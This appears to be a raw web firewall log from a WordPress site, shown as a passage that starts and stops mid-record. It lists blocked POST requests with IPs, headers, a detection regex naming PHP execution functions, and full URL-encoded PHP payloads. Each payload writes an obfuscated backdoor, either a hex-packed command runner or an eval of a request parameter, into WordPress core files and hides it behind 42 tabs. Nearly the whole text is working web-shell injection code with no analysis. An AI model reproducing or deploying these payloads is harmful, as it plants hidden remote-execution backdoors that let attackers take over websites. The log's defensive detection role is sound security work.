%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:6920\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:52:26","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:6897\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nQj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:29","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:2064\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nBY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:32","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-filter-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527DuBwgM%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:2064\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google 